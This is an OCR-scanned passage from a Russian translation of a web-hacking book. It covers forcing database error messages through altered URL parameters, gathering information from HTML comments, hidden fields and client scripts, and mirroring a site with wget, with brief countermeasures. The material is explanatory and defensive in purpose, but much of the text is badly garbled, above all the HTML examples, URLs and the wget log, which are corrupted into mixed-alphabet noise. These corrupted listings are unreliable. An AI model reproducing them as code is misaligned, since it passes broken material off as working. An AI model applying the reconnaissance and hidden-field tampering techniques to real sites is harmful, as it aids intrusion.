PliC. 6.9. Сообщение об ошибке, выдаваемое е примере с адресом mw8. example, сот
3«v«. 10.rii<NocFo<niiKMe*pctoBt /<Ю1/рссммава/рог«41/ж.^*p (No such 土 11
•/)«v*.lo.Fil«2np«itStr«Mi.opM{Naciw BKImO
•t >aiv*. lo.FilatnpvcScrMo».(FilaXapucScr««i. j«v«:<4)
c oxasie. jsp. provider . JBpFilevyvceaifWiwucQe.fraaSueam(JvpFiA
C or«cl«. isp.provKier. J”r“・・”ecaiR«ggc・.£rQ*Re«5,「」j 1
0c oracle . jsp.app. J3|»A>9L(miIk ■ к*1оевРадвМ”*и4(<М11ас.,・e> I
c oracle, jsp. app. JaplppLoader . 1о«<1Рвд« |J”AtvLMder. Jew.)
ac oeaole . ja*>app. @я^П^ошЛяХ ■ vecPaoe (JatMV^MMtn >tv«)
c ocacla.jep.app.JapApp1lc«cion.d>vpatchAequevt(JapJ^plicatic
0c ocacle.jsp. JaHerrlec.doI>l*p«Mb( J»p*«kvA«v. J«v*|
at ocecle. jap. J9*Servl«c. iaccsiMLXS«rvftc#J9pS«cvlet.)vra|
at oracle. jsp. Japeervlet. accvioe («IspScrvlet. )«wl
e javax.“rv】ec.heep.Vttpeervlec.»ervioc|l!tbp*«cvlM.jevaiSSlB
c ocg.apaehe. jserv. J9ervCoiUMFCx&OB.proce«eBe<iwe*c (Cat«rv<7cnnec4
c xg.ep«cha. j.erv .ЛЯегтСопвесхюп. run(JServConnection. ja“;
a*. java.l«aa»TWcMd.run<Th£<«d.O«v*i 4ОЧ |
•l—x 一 二j21
3 2 ГД——ИМ rs Т—■—寸 П0 *一 向:心%
Рис. 6.10. Сообщение об ошибке, выдаваемое 6 примере с адресом vw^ < exampl е. сов
Как видите, этот прием сработал! Теперь у нас есть сообщение, сгенерированное сервером баз данных Oracle, взаимодействующим с сервером Apache. Это сообщение также содержит путь к каталогу /иО 1 /prodcomn/portal/, где находятся jsp-файлы.
Идентификация серверов баз данных
Идентификация баз данных требует более серьезных навыков, нежели идентификация внешних серверов и серверов приложений, поскольку последние взаимодействуют через протокол HTTP и определяются посредством его элементов: URL-адресов, HTTP-заголовков и данных cookie.
С серверами баз данных все обстоит иначе. Дело в том, что они взаимодействуют с внутренними серверами с помощью языка SQL и позволяют определить лишь значения полей входных форм и параметры URL. Поэтому единственный способ идентификации серверов баз данных посредством URL заключается в генерировании ошибок сервером приложения и последующем их выводе в окно броузера.
Рассмотрим два примера URL-адресов.
http://www.example. cooi/public/index.php?ID>27
h ttp://www.example.org/Prof ile«cfm? ids3 &pagesl
В первом URL-адресе указан PHP-файл 二ndex.php, который, как свидетельствует параметр ID=27, взаимодействует с базой данных. Второй же адрес обрабатывается приложением ColdFusion и также выполняет запрос к базе данных.
Для того чтобы заставить сервер баз данных выдать ошибку, необходимо изменить значения параметров в рассмотренных запросах. В первом URL-адресе заменим значение 27 параметра ID нечисловым значением. Второй URL-адрес предварительно усечем, а затем заменим значение 3 символом одинарной кавычки
Предоставим читателю самому разобраться с тем, какой вред может принести информация, содержащаяся в этих окнах броузеров. Подсказка: сообщение об ошибке, выдаваемое сервером ColdFusion SQL Server, содержит достаточно информации для формирования запроса, который будет удаленно вьшолнять команды на сервере баз данных с правами администратора.
Контрмеры
В этой главе были представлены методы, которые обычно используются взломщиками для получения полной информации о Web -приложении. Идентификация используемых технологий играет важную роль для хакинга в Web, поскольку позволяет подобрать подходящие средства для взлома Web -приложения.
Возможно, остановить хакера будет не так уж легко. Однако при этом всегда необходимо следовать двум эмпирическим правилам, в основе которых лежит принцип минимального уровня привилегий.
Правило 1. Минимизация информации в НТТР-заголовке
Большинство Web-серверов настроены таким образом, что возвращают минимум информации в НТТР-заголовке. При этом в НТТР-заголовке не должна содержаться информация о серверах приложения, которые используются как надстройки.
Правило 2. Предотвращение отправки броузеру сообщений об ошибке
Когда Web - приложение переходит из стадии разработки в стадию коммерческого использования, необходимо тщательно проверить обработку исключений и выдаваемые сообщения. Подробные сообщения об ошибке следует хранить во внутреннем системном журнале (logfile) на Web-сервере. Броузеру необходимо отправлять только кратБсую информацию об ошибке. И опять же, большинство Web-серверов допускают подобную конфигурацию.
Многие клиенты утверждают, что их удовлетворяет уровень зашиты приложений, который обеспечивается заменой идентификатора сервера в HTTP-заголовке и изменением расширений используемых файлов. Они полагают, что таким образом смогут сбить с толку взломщиков и предотвратить атаку. Однако такая защита путем "сокрытия” ненадежна. В лучшем случае она защитит от таких утилит поиска изъянов Web - приложений, как Whisker. Но она не остановит опытных Web-хакеров.
Резюме
Понимание того, каким образом взаимодействуют между собой различные Web- технологии, очень важно при разработке и внедрении Web -приложений. В этой главе были продемонстрированы методы, которыми пользуются взломщики для получения информации о том, что находится пза кулисами” внешнего сервера. Кроме того, здесь кратко упоминались некоторые основные контрмеры, которыми следует руководствоваться при создании Web-приложений.
ГЛАВА7
Читая между строк
Конечные понятия позволяют осознать бесконечность.
Теодор Реске (1908—1963), американский поэт
Введение
То, что отображается в броузере, не обязательно существует на самом деле. Когда вы смотрите на Web- страницу, то видите только интерпретацию броузера и его представление полученных данных. Большая часть информации скрыта от просмотра. Для обнаружения этих невидимых сокровищ необходимо оторваться от обычного просмотра страниц и приблизиться к подлинному пониманию практически неограниченных возможностей Web-технологий.
Код обычной Web - страницы может содержать HTML-комментарии, исходный код клиентских сценариев, ключевые слова, скрытые параметры форм, адреса элеБсгрон- ной почты, ссылки на другие страницы и узлы, а также многое другое. Количество информации на странице оказывает существенное влияние на безопасность: чем больше информации известно хакеру о Web-узле, тем проще его атаковать.
В этой главе рассматриваются различные типы информации, которую можно получить из исходного кода HTML, а также приемы, используемые для ее извлечения. Просмотр исходного кода HTML и поиск в нем ценной информации — кропотливая задача. В коде можно обнаружить лишь несколько интересных фрагментов, однако зачастую именно они оказываются недостающими элементами общей картины, формирование которой так необходимо для успешной реализации Web-атаки. Кроме того, здесь подробно описывается процесс просеивания исходного кода (source sifting), а также способы поиска ценной информации.
В этой главе рассматриваются следующие важные вопросы:
утечка информации через код HTML;
броузеры и просмотр кода HTML;
предмет поиска;
автоматизированные приемы просеивания исходного кода.
Многие путают просеивание исходного кода (ресурсов) с его получением (раскрытием). Атаки, направленные на раскрытие исходного кода, связаны с обманом Web- сервера и получением от него исходного кода сценария или приложения без какого- либо его анализа или выполнения. Например, если такая атака направлена на файл ASP, то взломщик может просмотреть соответствующий ASP-код (т.е. код, содержащийся в исходном сценарии) в неизмененном виде. При этом никакого просеивания исходного кода не выполняется. Однако в том случае, если код HTML генерируется в приложении динамически с использованием сценария, то при выборе в броузере команды View Source исходный код приложения или сценария не отображается. Вместо этого можно увидеть лишь код HTML, который был сгенерирован сценарием.
Утечка информации через код HTML
Это очень сложный вопрос. Никогда нельзя точно сказать, представляет ли угрозу какая-либо определенная информация, содержащаяся в HTML-коде. Взломщик всегда стремится сформировать для себя полную картину, посколысу не может определить, какая часть информации отсутствует, вплоть до того момента, пока практически полностью не соберет всю головоломБсу. Информация, получаемая с помощью просеивания исходного кода, может казаться неважной до тех пор, пока другие составляющие общей картины не займут свои места. Атака на узел acme-art.com, которая обсуждалась в разделе "Случай из жизни** в начале данной части, оказалась успешной
только благодаря тому, что хакеру удалось получить всю необходимую информацию из комментариев HTML и скрытых полей форм.
В этой главе обсуждаются стандартные источники утеики информации и меры, которые позволяют предотвратить связанную с этим опасность. Прежде чем приступить к изучению методов сбора ценной информации, давайте рассмотрим, как использовать необходимые для выполнения этих задач средства. В большинстве случаев основным таким инструментом является броузер.
Что скрывают броузеры
Броузер преобразует HTML-код в визуальные интерактивные элементы, предназначенные для отображения информации на экране и взаимодействия с пользователем. Самой важной частью каждого броузера является механизм интерпретации кода HTML. Как и для любого другого компьютерного языка, для HTML определена формальная грамматика описания элементов и правила их визуализации. Встроенный в броузер HTML-интерпретатор выделяет из кода HTML отдельные элементы и отображает их на экране. Однако не все элементы HTML имеют визуальное представление. Некоторые из них, например комментарии, предназначены для документирования: и повышения ясности кода. Другие элементы используются при выполнении внутренних операций, например при передаче параметров между формами или работе с данными cookie. Для более серьезного знакомства с элементами HTML обращайтесь к спецификации HTML 4.0, которую можно найти по адресу: http:// www.w3.org/TR/html4/.
Различные элементы HTML позволяют получить разнообразнейшую информацию. И этого нельзя не учитывать. Популярные Web - бр оуз еры, такие, как Netscape Navigator, Internet Explorer и Opera, позволяют просматривать исходный код HTML. На рис. 7,1 показана Web-страница, на которой содержатся различные элементы.
На этой странице можно увидеть лишь некоторые элементы HTML и форму, состоящую из одного текстового поля. Попробуем найти элементы, не отображенные броузером.
Netscape Navigator — команда ViewoPage Source
Для просмотра исходного HTML-кода страницы, отображаемой в Netscape Navigator, выберите команду View^Page Source, нажмите комбинацию клавиш <CTRL+U> или щелкните на странице правой кнопкой мыши, а затем выберите из контекстного меню команду View Source или View Frame Source, в зависимости от того, в какой области страницы был выполнен щелчок. В результате откроется другое окно с исходным HTML-кодом страницы (рис. 7.2).
Вот и все! В исходном коде можно сразу же заметить элементы, которые не были отображены в окне броузера. Первым таким элементом является HTML- коментарий, в котором указано время последней модификации Web - страницы и адрес электронной почты ее разработчика. Ниже можно заметить также дескрипторы <МЕТА>, в которых кратко описывается содержимое страницы. Продолжая анализ исходного кода, можно легко найти небольшую процедуру на языке JavaScript, предназначенную для генерации данных cookie при каждом посещении этой страницы. И наконец, в исходном коде содержится скрытое поле HTML-формы, для которого задано значение cant see me. Без просмотра исходного кода HTML вся эта информация осталась бы неизвестной.
Рис. 7. /. Элементы HTML, отображенные броузером
Internet Explorer — команда View^Source
В Internet Explorer (IE) исходный HTML-код можно просмотреть с помощью команды View^Source или с использованием команды View Source контекстного меню.
Рис. 72 Исходный код HTML 6 Netscape
Броузер IE копирует исходный код HTML во временный файл и открывает его в блокноте Endows, а не в своем собственном окне. На рис. 7.3 показан тот же исходный код, загруженный IE в блокнот. Это очень удобно для сохранения исходного кода в виде обычного текста для дальнейшего анализа.
Другие броузеры, в том числе Opera, также позволяют отобразить исходный HTML-код текущей страницы. Именно с его просмотра стоит начинать анализ Web- приложений для обеспечения требуемой защиты.
Где искать информацию
Теперь, после рассмотрения методов сбора информации, нужно определить, какие ее фрагменты наиболее ценны для хакера. Обычно взломщик просматривает следующие элементы:
комментарии HTML;
внутренние и внешние ссылки;
адреса электронной почты и имена пользователей;
ключевые слова и дескрипторы<МЕТА>;
скрытые поля;
клиентские сценарии.
Комментарии HTML
Комментарий HTML определяется как блок текста, размещенный между дескрипторами <! — и —>. При отображении страницы весь этот блок текста броузером игнорируется. Таким образом, комментарии ——это ,,забытаян часть исходного кода, которую можно увидеть при выборе в броузере команды View Source.
Разработчики и авторы Web-страниц используют комментарии для размещения в HTML-коде информации о себе и аннотаций. Практически каждый программист убежден, что добавлять комментарии в исходный код крайне важно.
Традиционно при создании исполняемого двоичного кода программы комментарии автоматически убираются компилятором. Следовательно, комментарии никогда не были причиной утечки секретной информации, а также не способствовали ее раскрытию. При использовании HTML комментарии передаются Web-броузеру.
Что взломщик может почерпнуть из комментариев HTML? Как правило, в них можно найти следующее:
историю внесения изменений;
подробности о разработчике или авторе;
описание связей с другими частями Web-приложения;
заметки;
комментарии, автоматически вставляемые Web-приложениями;
старый закомментированный код.
Вполне закономерен вопрос: нЧто из перечисленного можно действительно найти на реальных узлах?” В поисках ответа на него можно выполнить самостоятельное исследование. Приведенные в этой книге примеры несколько изменены для обеспечения безопасности Web-узлов и Web-серверов, с которых они были получены.
Рис. 7.3. Исходный код, предоставляемый броузером Internet Explorer при выборе команды View Source
История внесения изменений
При внесении изменений разработчики Web-приложений часто оставляют в исходном коде подробную информацию обо всех модификациях. Историю модификации этих файлов разработчики склонны размещать в статических HTML-файлах, особенно если в их состав входит главная Web - страница и другие точки входа в приложения.
Подробности о разработчике или авторе
Зачастую разработчики или авторы Web-страниц оставляют подробные данные о себе в комментариях HTML. Это является общепринятой практикой, если над одним ресурсом или файлом работают разные разработчики.
Вот типичный пример комментария разработчика, содержащегося в коде HTML:
<!-- Измевен Джоном Смитом 6 марта 13:13:25 20 00—>
<BASE HREP~http: 〃《w .bluebal looo ・ coe/store/w>
<LINX REV**made* HREP・*Bailto: jsmithtblueballoon.comR>
Связь с другими частями Web-приложений
В состав большинства Web - приложений входит много отдельных файлов и сценариев, связанных друг с другом. В большинстве случаев в HTML-комментариях содержится информация о взаимосвязи этих файлов и подробные данные о функциональности приложений, например:
1 — Вызывается /login/1 ogin,php —>
Заметки
В комментариях HTML разработчики размещают описание некоторых важных аспектов использования, архитектуры и т.д., имеющее отношение к определенному ресурсу. Данные такого рода чрезвьиайно полезны при сборе информации о функциональности приложения.
Некоторые заметки могут быть довольно безобидными, например:
!— Таблица главного докумевта; начало -->
<table border••0# *idth,“77" cellspacing**O# cellpadding»*0*>
《!一■ в этой строке задаются расстояния между ячейками -->
<trxtd vidthe*165*><!— блок ммгацяи —>
<ing 8rc«M/global/re8ources/blank.gif# width«*165" height«#16" border«#0#></td>
td tHdtb・"605"x|” блох содерпшого —xiug src**/global/resourcee/blank.gif*
vidth-^SOS* Might・・16“ border-#0*x/td></tr>
1 — Заголовок—>
Однако в других комментариях может содержаться конфиденциальная информация.
!— перед внесением тмиввкА —>
1— ведитесь, что обновлен файл —>
!— /var/^v/ht>I/conf/shoppi哆©г—。。耐 -->
<!-- ВСТАВЬТЕ новый ход—>
<TABLE ВОИО" CEIXPADDING«tf2* CELLSPACING»”"〉
<TR><TD ALIGS-*LEFT* WIOTH-#380* VALIGH-^TOP*»
Этим сказано все! Просмотрев такой код, взломщик может сразу же переключиться в окно броузера, сгенерировать запрос по адресу http: //server/conf/shopping cart.conf и попробовать получить конфигурационный файл электронной торговой тележки.
Вот еще один пример утечки данных из комментария:
<1—начало кода заголовка -->
<table cellspacings0 cellpadding=O border=0>
<tr>
<td width=2 2 5 > </td>
<1— И94ЯО—>
<nobr><a href*M/proiDos/default.asp,r>
<BxF0NT STYLB»*font-8ize: llpx” COLOR-I333399>
Оставить 25t на проживание. </FONT></Bx/a></nobr>
<1— кояец—>
</td>
</tr>
</table>
!— strPath c:\vebroot\daily\hame\Default.asp—>
!— apt_tab hoe—>
Комментарии серверов Web-приложений
Некоторые серверы Web - приложений и средства создания Web - документов вставляют в генерируемый HTML-код собственные комментарии. Эти комментарии также могут предоставлять конфиденциальную информацию. При их внимательном анализе можно определить, какие технологии используются на сервере и с помощью каких средств была создана Web - страница. Ниже приведен пример такого комментария.
1 — ImageReady Preload Script (splash. pad)—>
!-- Vignette StoryServer 4 Sun Jan 13 00:04:01 —>
1— NCompass Resolution Teaplat* File —>
!— Lotus-Domino (Release 5.0.9 - Novesber 16, 2001 on AIX| —>
Эти компоненты были сгенерированы приложениями Adobe ImageReady, Vignette Story-Server, Ncompass (сейчас Microsoft Content Management Server) и Lotus Domino Server co ответственно.
Старый закомментированный код
Поскольку Web - страницы часто подвергаются изменениям, разработчики склонны создавать копию кода HTML, комментировать старый код и добавлять новые фрагменты кода с сохранением старого формата. Зачастую в закомментированной части остается некоторая важная информация, например:
<!-
<РХА HREF*Mhttp://soM-Mrver.caa/^xytiy/picons. tlpw> Host icons database </A>
Эта тфориацня яе требуется для запуска приложения X. Это обковлевяая версия базы дашог домш» <А HRE^httpj/Zwv. faqs .org/faqs/plcon8»fAq/l,>Picons</A>.
Если вы хотите добавить свою ннфоралщао, отошлите ее администраторам picons для внесения в следующую версию прялошии X.
—>
Обратите внимание, что автор приведенного фрагмента кода фактически сообщил о существовании на сервере пользовательской учетной записи xyzzy.
При краже кредитной карточки на узле www.acme-art.com хакер получил доступ к пользовательским рабочим каталогам http: //ww• ac»e>art.схмп/wknp и http://ww.ac*e- art.com/~ajq/ и завладел исходным кодом CG Сценариев, используемых на Web-узле www. acme-art. сое. Как было продемонстрировано в предьщущем фрагменте, при утечке информации возможен именно такой исход.
Внутренние и внешние гиперссылки
Просмотр содержащихся в исходном HTML-коде гиперссылок на другие Web- ресурсы — еще одна многообещающая область, из которой можно почерпнуть ценную информацию. Изучение ссылок позволяет определить, Из каких частей состоят приложения. После проведения подобного анализа можно выделить отдельные части приложения, сгруппировать их по функциональным категориям и попробовать разобраться с внутренними потоками информации. Достаточно найти лишь единственную ссылку, и представление об информационных потоках, циркулирующих между различными частями приложения, становится гораздо понятнее. Вся подобная информация позволит выявить потенциальные уязвимые места.
В языке HTML гиперссылки задаются с использованием дескрипторов <А HREF=CfbMK47>... </А>. Гиперссылки могут связывать между собой ресурсы одного и того же Web-узла или обеспечивать связь с внешними Web-узлами. Гиперссылки можно найти также в дескрипторе <FORM>, Дескриптор <FORM ACTIОКассььгка> позволяет задать ресурс, который будет запущен при передаче на сервер данных HTML-формы. Для поиска гиперссылок проще всего вьшолнить поиск в коде HTML строк HREF или FORM.
При просмотре гиперссылок нужно различать внутренние и внешние связи. Это не позволит выйти за границы исследуемого приложения. Приведенный ниже фрагмент HTML-кода взят из интерактивного приложения розничной торговли, используемого на Web-узле www. acmetradeonline, с от.
<А HREFei,/login/signin. jspw> Щелкните здесь для входа в торговую систему </А>
<Р> Новый пользователь? Щелкните <А HREF**/login/nevuser.]5^>3116^</^ для создания новой учетной зашей.
<FORM ACTIOM^http://quotes.&cme-stockquotes.com/cgi-bin/stockqBote .pl* METHOD»POST>
<B>Quick Qttotee</B>
〈INPUT NAKE・8y«bol TYPE二TEXT S工ZE=5>
<IHPUT TYPE-SUBMIT VALUB«*Get quote*>
</FOHM>
Первые две гиперссылки <A HREF^/login/signin. jsp> и <A HREF=/login/nevuser. jsp> являются внутренними. Они преобразуются к виду http://www.acme-art.com/login/ signin. jsp и http: //www.асве-art.com/login/nevuser. jsp соответственно. Третья гиперссылка, которая используется при передаче данных формы, — это внешняя ссылка, указывающая на Web-узел http://quotes.acme-stock-quotes.com/cgi-biii/stockquote.pl.
Адреса электронной почты и имена пользователей
Довольно часто страницы HTML содержат ссылки на адреса электронной почты. Дескриптор <А HHEF=r,a: L to : адреса сервера применяется для создания ссылки, используемой при отправке почтового сообщения. Обычно при щелчке на такой ссылке открывается окно клиентской почтовой программы, в котором можно создать почтовое сообщение, а затем отправить его получателю, заданному с использованием гиперссылки mailto.
Электронные почтовые адреса могут быть также частью HTML-комментариев и использоваться для идентификации человека, ответственного за подцержку определенной страницы или ее части. Электронные адреса извлечь из кода HTML очень просто: для этого в нем достаточно найти все символы @.
Спэм
Масса ненужных электронных писем, невостребованная коммерческая реклама, ,,макулатурная,* почта или спэм (spam) — как бы это не называлось — приводит к загрузке каналов связи и крайне раздражает пользователей Internet. Бывают дни, когда количество ненужных сообщений, поступивших в компанию Foundstone, равно числу сообщений от легитимных пользователей.
Совсем недавно подобная деятельность была прибыльным делом для некоторых компаний, занимающихся подцержкой серверов массовой рассылки рекламных объявлений мелких предпринимателей. На рынке появились компакт-диски с миллионами собранных вместе и отсортированных электронных адресов. Такие списки адресов и каталогов формируются с использованием Web-приложений — программ, специально разработанных для сбора электронных адресов на Web -страницах. Работа таких программ основана на принципе, который уже рассматривался выше. Он заключается в загрузке исходного кода страницы и извлечении из него адресов на основе поиска символа @. После этого программы по гиперссылке перемещаются на другую Web- страницу и повторяют тот же процесс с самого начала.
Ключевые слова и дескрипторы <meta>
В HTML-коде Web - страницы содержится два раздела — заголовок и тело. В теле содержится информация, которая отображается броузером, а в заголовке — ее описание. Такую информацию, как название документа, краткое описание его содержания,
имя автора, дата создания и т.д., можно найти внутри заголовка документа HTML в дескрипторе <meta>.
Хорошим примером информации, размещаемой в дескрипторах <meta>, может послужить следующий фрагмент кода HTML, взятый с Web-узла компании CNN: <html> <h«ad>
<title>CNM - 10 лучших средств контроля спэмоа - 21 сентября, 1998</title>
<teU http-•фliv^#Content-Type•^ content«*teit/html; charset=iso-8859-1" >
3ta name«*De8cription* eontent»*Try these tools for ridding your in-box of вршпЛ>
<meta n&fte=*keywords- content**span, unsolicited e-rrail, comnercial e-mail, junk e-mail, messages"
<neta папе—author* content«wSally Neuman*>
<meta папе***source* content»*PC World"〉
<aeta naee«"publisher" content^PC Mor】d">
<meta naee«*publicationDate* content^SeptMter 21, 199B">
<neta nane>Mlanguage* Bntent・*English">
<meta naBe«*editor* cont®nt"*Sherry Mclnroy#>
<neta naBe**contentMirror*
content・“http s//wvw. pcworld ♦ coe/pcwtoday/article/0,1510,8122,00 ・html・>
</head>
В этом фрагменте кода не содержится никакой важной информации. Однако дескрипторы <«eta> представляют собой одно из. мест, в которых можно допустить ошибку.
Скрытые поля
Скрытые поля уже кратко рассматривались в главе 3 при обсуждении HTML- форм. Для создания скрытых полей используется дескриптор 〈INPUT TYPE二HIDDEN KML-имя,. .>. Зачастую такие поля используются разработчиками Web-приложений для обмена информацией между формами и серверными программами, которые обрабатывают пользовательские данные. Поскольку протокол HTTP не подцерживает состояния, скрытые поля упрощают отслеживание перемещений пользователя внутри приложения.
Некоторые разработчики допускают ошибку, передавая конфигурационные параметры приложения тем модулям, в которых используются скрытые поля. При атаке на узел acme-art.com хакеру удалось извлечь конфигурационный файл электронной торговой тележки, просмотрев скрытое поле HTML-формы. Воспользовавшись следующей строкой, взломщик сможет получить конфигурационный файл cart.ini, а со временем и список авторизованных кредитных карточек, содержащийся в файле ccautb.log, < input type=hidden MANE"_INIFILB VALUE«*cart.inl#>
Однако подобные ошибки приводят не только к утечке информации. Они также позволяют хакеру изменять содержащиеся в скрытых полях данные, сохраняя локальную копию HTML-кода, изменять их, а затем передавать обратно на сервер.
Скрытые поля будут еще раз обсуждаться при рассмотрении процесса атаки (глава 13) и воровства в электронных магазинах (глава 10). А сейчас самое время познакомиться с тем, как скрытые поля можно найти в коде HTML. С помощью поиска строки TYPE=HIDDEN можно выполнить инвентаризацию всех скрытых полей, содержащихся в коде HTML-страницы. Полное уяснение функционального назначения каждого скрытого поля в приложении позволит предотвратить утечку информации и возможность подцелки содержащихся в них значений.
Клиентские сценарии
Когда компания Netscape впервые анонсировала язык клиентских сценариев JavaScript, это вызвало настоящую сенсацию. С этого момента отображаемое в броузере содержимое HTML перестало быть статическим, посколысу появилась возможность управлять им с использованием программ, интерпретируемых самим броузером. Автоматическое обновление рисунков, выполнение вычислений на основе значений полей ввода без их передачи на сервер и управление данными cookie — все это можно осуществить с помощью клиентского сценария. Сегодня существует два языка клиентских сценариев: JavaScript и VBScript. Сценарии JavaScript можно использовать в броузере компаний Netscape и Microsoft, однако сценарии на языке VBScript могут интерпретироваться только броузером Internet Explorer.
Достаточно мощные возможности клиентских сценариев позволяют переместить большую часть логики приложения в его клиентскую часть. При этом сервер освобождается от решения задач, которые гораздо удобнее выполнять в броузере.
Клиентский сценарий можно вставить в код HTML с использованием дескрипторов <SCRIPT>...</SCRIPT>. Вот пример кода JavaScript, отображающего на экране диалоговое окно с сообщением "Здравствуй, мир”:
<SCRIPT LANGUAGE«-JavaScriptw>
document .writi(#<Hl>9TO JavaScript</Hl>w)
alert(ж3др<вству#, op")
</SCRIPT>
В файле example.html (см. рис. 7.1) содержится следующий код JavaScript:
<SCRIPT IANGUAGE・”avaScript">
var date 二 new Date(|;
date.setFullYear(date.getFul1Year()♦";
docwnent. cookie = *modified«,r + docunent. lastnodif led +
";expires*" -Hlate.toGMTString();
</SCRIPT>
Приведенный сценарий JavaScript размещает на клиентском компьютере данные cookie.
Можно изменить любые клиентские сценарии или полностью обойти их. По- сколъку код для выполнения передается броузеру, можно сохранить копию кода, внести в нее изменения, а затем загрузить модифицированную страницу снова в броузер. Большинство броузеров также позволяют полностью отключить режим выполнения клиентских сценариев. Разработчики должны соблюдать осторожность, не полагаясь на проверку данных в клиентском сценарии при передаче данных HTML-формы. Некоторые разработчики для Web возлагают проверку входных данных, метасимволов, длины буфера и другие задачи на броузер. Однако это совершенно бесполезно, по- сколысу клиентский сценарий можно обойти без особых проблем.
Приемы автоматического просеивания кода
Процесс просмотра большого количества страниц HTML-кода и поиска в нем ценной информации может оказаться довольно монотонным и утомительным. К счастью, далеко не всегда это нужно выполнять вручную, выбирая команду View Source для просмотра исходного кода каждой страницы. Процесс просеивания исходного кода можно автоматизировать с помощью специальных Web - приложений, предназначенных для сохранения содержимого всего Web-узла в локальной файловой системе. Как только все HTML-содержимое сохранено на локальном жестком диске, в нем можно выполнять рекурсивный поиск информации с помощью таких утилит, как grep
или findstr. Для создания зеркальной копии Web-узла можно воспользоваться утилитой wget, разработанной в рамках лицензии GNU.
Использование утилиты wget
Утилита wget не относится к классу интерактивных средств получения информации из сети. Ее работа основана на поступательном ,,продвижении,* по Web- узлу и сохранении его содержимого в локальной файловой системе без изменения используемой иерархической структуры. Утилиту wget можно найти на Web-узле http://wwv.gnu.org/.
Вместо изучения документации, прилагаемой к утилите wget, гораздо полезнее рассмотреть пример ее практического использования при решении задачи автоматического просеивания исходного кода. При изучении защищенности Web-узла корпорации Acme-art.com, Inc. и исчерпывающем анализе возможностей утечки информации группа экспертов с использованием утилиты wget создала зеркальную копию HTML- содсржимого, расположенного по адресу ww. acme-art. сою. Ниже показано, как использовалась эта утилита.
rootIblackbox: "/wgetI wget -r -m -nv http: //vw. acM-&rt.con/
02:27:54 URL:http://www.acma-art.сош/ [3558]->
••wwv-acee-art. co«/index. htelw [1]
02:27:54 URL: http: / / vwv. асм-аг t. coa/index. cgi?page«f all в. ehtml [1124]->
*wv. acae-art. cm/index»c^i ?paqt>falls. shtal" [1]
02:27:54 URL:http://vwtf«acnc-art.con/iAa?es/falls.jpg [81279/81279]-> ttvw.acve-art.coa/iiMges/falls.jpgn [1]
02:27:54 URL:http://vw.aow-art.con/iaageB/yf_tbuab.jpg [4312/4312]->
"www. acme-art .com/images/у f_ thumb, jpg" (1 ]
02:27:54 uu:http://ww.acme-art.сов/index.cgiTpage^tahoel.shtnl [1183]->
*vw ・ acne-art ・《ж/ index ♦ cgi ?page・t4boe 1. shtml" [ 1 ]
02:27:54 URL:http://ww.acse-&rt.con/images/tahoel. jpg [36580/36580]->
"www. acme-art. com/images/tahoel .jpg" [1 ]
02:27:54 rl:http://wwv.acme-art.cc«/iMgee/th^thuab. jpg [6912/6912]->
tfww.acne*art.con/iBages/th^thunb.jp9w [1]
02:27:54 URL: bttp://www.acne-art.con/index.c^i?pageRiontrey.shtal [1160]->
Mvw. acne-art. coa/ index. cgi 7page-nontrey. shtml* [ 1]
02:27:54 URL:http://vwv.acme-art.сов/Хвадм/nontrey.jpg [81178/81178]->
Mvwv. acne-art. сом/ Imaget /nontrey. j^" [1]
02:27:54 ШИthttpt//vw.*CM-&rt.сов/iMgM/BD^thub.jpg [7891/7891]->
"www.acme-art.com/images/im thuirfc.jpg" [1]
02:27:54 URL:http://vwv.асш-art.coa/index.c?i?pflgeaflower.Bhtnl [1159]->
0vwv.acse^art. con/index. c^i?рддв<low.Bhtmlw [ 1 ]
02:27:55 UKL:httpi/Zwwv.аспв-art.сов/1мдев/Тlower. jpg [86436/86436]->
"www. acme-art. com/images / flower. jpg"[1 ]
02:27:55 URL:http://ww,aaw-art.con/Inages/fl_thunb• jpg [8468/8468]->
"www. acme-art. com/images / fl _thunto .jpg" [1]
02:27:55 URL:http;//ww.acme-art.co»/nevs/ [2999]->
“wvw•acme-art・com/nevB/index・htnl" [1]
02:27:55 URL:httpt//wv.асм-агt.con/cata 1 офзе/ [1031]->
^vw ・acme-art.com/catalogue/index・ htil* 11)
02:27:55 UBL:http://vwv.aca»-art.coa/catalogue/catalogue.cgi?ide0 [1282]->
*vw.ac»e<art.com/caUlogue/catalogu»-cgi?idB0# [1]
02:27:55 URL;httpt//www.аом-art.can/guestbook/guestbook.htal [1343]->
Mvwv.Acae-Ait.coe/?uMtbook/gueitbook.btml* [1]
02:27:55 URL:http: //vwv.лете-art.coa/guMtbook/addg<Mst• htal [13 02]->
Mww-acae-axt .coe/guestbook/addgiMSt. htirl" [ 1 ]
02:28:00 UKL:http:/Zwv.acM-&n.cam/catAlogi>e/print<cgi [446]->
"ww. acne-art. com/catalogue/print. cgi" [1]
02t28:00 URL:http://vw.acoe-art.con/catalogoe/caUlogue.cgi?id«l [1274]-> -
"vw.acae-art. oom/catalogue/ca talogue. cgi?id・l" (1J
02:28:00 ORL:http://wv.acne-art.con/catalogue/catalogue.eg 1?id"2 [1281]->
*ww.acmerrt.con/catalogue/catAlogue.cgi?id«2* (1 ]
02:28:00 URL: http:/Zvw.асм-art.cm/catalogue/catalogue.cgi?id*3 [1282]->
Mwv. acme-art .сап/cat&logue/cat&loQue .cgi?Ida3* [ 1 ]
02:28:00 URL:http:/Zwv.acme-art.con/news/nevs-cgl/В Feb 2001.htiil [1825]->
Mwv.acne-art.ccn/nevs/nevs .cgi/8_Feb_2001 .htnl* [1]
02:28:00 URL:http://ww.acme-art.con/news/print,cgi [941]->
^ww.acee-art.com/news/print.cgi** (1|
02:28:00 URL:http://vwv«acse-art.coa/news/news.cgi/12_Apr_2001.ht*l [1884]->
"www. acme-art. com/news /news. cgi /^^Apr^ 2001. htnl * [1]
02:28:01 URL:http://wv.acBe-&rt.coB/Dews/new8.cgi/14_Nay_2001.htal [1940]->
"www. acme-art.com/news/news.cgi/14 Nay_20Ql.html" [1]
02:28:01 URL:bttp://vw.асяе-art.cca/nevs/news.egi/22_№/^2001.htnd. (1870]->
Mww.acne-art.ссж/nevs/news.cgi/22_NayaB2001.html,r [ 1 ]
02:28:01 URL:http://vww.aoie-&rt.con/nivs/news.cqi/8 Dec_2001.html [1339]->
^ww ・ acne-art. con/news/news.cgi/8_Dec_2001. html" (1 ]
FINISHED —02:28:01—
Downloaded: 343,279 bytes in 28 files
